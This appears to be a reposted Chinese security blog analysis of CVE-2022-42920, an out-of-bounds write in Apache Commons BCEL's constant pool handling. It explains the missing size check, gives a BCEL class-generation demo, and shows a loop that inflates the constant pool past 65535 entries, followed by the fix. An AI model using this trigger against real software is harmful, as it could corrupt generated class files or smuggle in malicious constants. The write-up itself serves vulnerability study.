CVE-2022-42920 BCEL 任意文件写漏洞

声明

以下内容,来自先知社区的LeeH作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

前言

Apache Commons BCEL旨在为用户提供一种方便的方法来分析、创建和操作(二进制)Java类文件(以 .class 结尾的文件)。类由包含给定类的所有符号信息的对象表示:特别是方法、字段和字节码指令。

这些对象可以从现有文件中读取,由程序(例如运行时的类加载器)转换并再次写入文件,一个更有趣的应用是在运行时从头开始创建类

BCEL包含一个名为JustIce的字节码验证器,它通常会为您提供比标准JVM消息更好的关于代码错误的信息。

漏洞概述

首先看看apache list中的解释

影响版本

< 6.6.0

漏洞分析

在这里我们可以看到漏洞的细节

https://github.com/apache/commons-bcel/pull/147

我们首先来了解一下bcel的用法

查看官方文档

Apache Commons BCEL™ – Home

我们从上面的修复位置可以知道主要是在常量池的位置造成的越界写入漏洞

我们直接关注到常量池的解释中去

在ClassGen中

而这个类是在org.apache.bcel.generic包下的一个类,这个包提供了一个用于动态创建或转换类文件的抽象级别。它使Java类文件的静态约束(如硬编码的字节码地址)变得“通用”。例如,通用常量池由类ConstantPoolGen实现,该类提供添加不同类型常量的方法。因此,ClassGen提供了一个接口来添加方法、字段和属性

只是在默认的BUFFER大小为256和在传入的常量数组长度+64之后去了个最大的值作为了size

如果这时候传入的cs数组+64是大于65535这个临界值的时候将会导致越界漏洞的产生

所以对于漏洞的利用只需要在常量数组中前面写入足够长的垃圾数据,后面写入恶意常量数据,将会在通过getFinalConstantPool方法返回对应的ConstantPool对象之后调用其dump方法从二进制流到文件流的转换

漏洞利用

我们可以简单写一个demo来通过Apache Com-mons BCEL API动态生成一个HelloWorld.class文件

package pers.bcel;import org.apache.bcel.generic.*;import org.aspectj.apache.bcel.Constants;import static org.apache.bcel.Const.ACC_PUBLIC;import static org.apache.bcel.Const.ACC_SUPER;import static org.apache.bcel.Constants.ACC_STATIC;public class TestBcel {    public static void main(String[] args) {        try {            // BCEL Appendix A example            // ClassGen(String class_name, String super_class_name, String            // file_name, int access_flags, String[] interfaces)            ClassGen cg = new ClassGen("HelloWorld", "java.lang.Object",                    "<generated>", ACC_PUBLIC | ACC_SUPER, null);            ConstantPoolGen cp = cg.getConstantPool();            InstructionList il = new InstructionList();// create main method            // MethodGen(int access_flags, Type return_type, Type[] arg_types,            // String[] arg_names, String method_name, String class_name,            // InstructionList il, ConstantPoolGen cp)            MethodGen mg = new MethodGen(ACC_STATIC | ACC_PUBLIC, Type.VOID,                    new Type[] { new ArrayType(Type.STRING, 1) },                    new String[] { "argv" }, "main", "HelloWorld", il, cp);            LocalVariableGen lg = null;            InstructionFactory factory = new InstructionFactory(cg);// define some often used types            ObjectType i_stream = new ObjectType("java.io.InputStream");            ObjectType p_stream = new ObjectType("java.io.PrintStream");            //%%            //BufferedReader in = new BufferedReader(new InputStreamReader(System.in));            //%%            // create variables in and name            il.append(factory.createNew("java.io.BufferedReader"));            il.append(InstructionConstants.DUP);            il.append(factory.createNew("java.io.InputStreamReader"));            il.append(InstructionConstants.DUP);            //init input stream            il.append(factory.createFieldAccess("java.lang.System", "in",                    i_stream, Constants.GETSTATIC));//            for (int j = 0; j < 21845; j++) {//                il.append(factory.createFieldAccess("java.lang.System", "in", i_stream, Constants.GETSTATIC));//            }            il.append(factory.createInvoke("java.io.InputStreamReader",                    "<init>", Type.VOID, new Type[] { i_stream },                    Constants.INVOKESPECIAL));            il.append(factory.createInvoke("java.io.BufferedReader", "<init>",                    Type.VOID, new Type[] { new ObjectType("java.io.Reader") },                    Constants.INVOKESPECIAL));            //add in into the local variable pool and get the index automatically            lg = mg.addLocalVariable("in", new ObjectType(                    "java.io.BufferedReader"), null, null);            int in = lg.getIndex();//index of "in" var            lg.setStart(il.append(new ASTORE(in)));//store the reference into local variable            //首先创建对象,并初始化,操作结果在JVM的“堆”里,还需要在本地变量表中创建引用,因此在本地变量表中添加一个“in”比那辆,            //然后根据索引值调用“astore”指令,即可将对象引用赋值给本地变量 /* 0: new #8; //class java/io/BufferedReader 3: dup 4: new #10; //class java/io/InputStreamReader 7: dup 8: getstatic #16; //Field java/lang/System.in:Ljava/io/InputStream; 11: invokespecial #20; //Method java/io/InputStreamReader."<init>":(Ljava/io/InputStream;)V 14: invokespecial #23; //Method java/io/BufferedReader."<init>":(Ljava/io/Reader;)V 17: astore_1 * *///%%            //String name = null;            //%%            // create local variable name and init it to null            lg = mg.addLocalVariable("name", Type.STRING, null, null);            int name = lg.getIndex();            il.append(InstructionConstants.ACONST_NULL);//add "null" to the stack top            lg.setStart(il.append(new ASTORE(name)));//"store" the value of "null" into "name" var//%%            //System.out.print("Please enter your name> ")            //%%            // create try_catch block            InstructionHandle try_start = il.append(factory.createFieldAccess(                    "java.lang.System", "out", p_stream, Constants.GETSTATIC));            //从常量池中取出“please .....”,压入栈顶:这里感觉有问题,这个字符串常量应该先压入常量池才可以(最好是在这之前加一句,            //加一句添加常量池操作其实并不影响实际运行的效率)            il.append(new PUSH(cp, "Please enter your name> "));            il.append(factory.createInvoke("java.io.PrintStream", "print",                    Type.VOID, new Type[] { Type.STRING },                    Constants.INVOKEVIRTUAL));            //%%            //name = in.readLine();            //%%            //将本地变量“in”推送至栈顶            il.append(new ALOAD(in));            il.append(factory.createInvoke("java.io.BufferedReader",                    "readLine", Type.STRING, Type.NO_ARGS,                    Constants.INVOKEVIRTUAL));//调用readLine()方法            il.append(new ASTORE(name));//接收的结果在栈顶,需要保存,因此加上保存到“name”slot的指令//%%            // } catch(IOException e) { return; }            //%%            GOTO g = new GOTO(null);            InstructionHandle try_end = il.append(g);            //add return:如果出异常,才会走到这条“return”指令,并返回到caller中            InstructionHandle handler = il.append(InstructionConstants.RETURN);            // add exception handler which returns from the method            mg.addExceptionHandler(try_start, try_end, handler, null);//%%            //没有异常,继续执行:System.out.println("Hello, " + name);            //%%            // "normal" code continues, set the branch target of the GOTO            InstructionHandle ih = il.append(factory.createFieldAccess(                    "java.lang.System", "out", p_stream, Constants.GETSTATIC));            g.setTarget(ih);// print "Hello":创建一个StringBuffer对象,通过调用StringBuffer的append操作,实现            //string1 + string2的操作,并且操作结果调用toString方法            il.append(factory.createNew(Type.STRINGBUFFER));            il.append(InstructionConstants.DUP);            il.append(new PUSH(cp, "Hello, "));            il.append(factory.createInvoke("java.lang.StringBuffer", "<init>",                    Type.VOID, new Type[] { Type.STRING },                    Constants.INVOKESPECIAL));            il.append(new ALOAD(name));            il.append(factory.createInvoke("java.lang.StringBuffer", "append",                    Type.STRINGBUFFER, new Type[] { Type.STRING },                    Constants.INVOKEVIRTUAL));            //            il.append(factory.createInvoke("java.lang.StringBuffer",                    "toString", Type.STRING, Type.NO_ARGS,                    Constants.INVOKEVIRTUAL));            il.append(factory.createInvoke("java.io.PrintStream", "println",                    Type.VOID, new Type[] { Type.STRING },                    Constants.INVOKEVIRTUAL));            il.append(InstructionConstants.RETURN);// finalization            mg.setMaxStack();            cg.addMethod(mg.getMethod());            il.dispose();            cg.addEmptyConstructor(ACC_PUBLIC);// dump the class            cg.getJavaClass().dump("HelloWorld.class");            System.out.println("dump successly");        } catch (java.io.IOException e) {            System.err.println(e);        } catch (Exception e1) {            e1.printStackTrace();        }    }}

运行上面的代码,可以得到一个类文件

for (int j = 0; j < 65500; j++) {    lg = mg.addLocalVariable("name" + j, Type.STRING, null, null);    int name = lg.getIndex();    il.append(InstructionConstants.ACONST_NULL);//add "null" to the stack top    lg.setStart(il.append(new ASTORE(name)));//"store" the value of "null" into "name" var}

通过调试,我们可以知道这时候的constant-Pool.length=65570

漏洞修复

官方通过增加上限的方式在关键方法增加了判断

比如在ConstantPoolGen的构造方法中初始化常量数组的过程中


欢迎关注长白山攻防实验室公众号

定期更新优质文字分享

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,509评论 6 504
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,806评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,875评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,441评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,488评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,365评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,190评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,062评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,500评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,706评论 3 335
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,834评论 1 347
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,559评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,167评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,779评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,912评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,958评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,779评论 2 354

推荐阅读更多精彩内容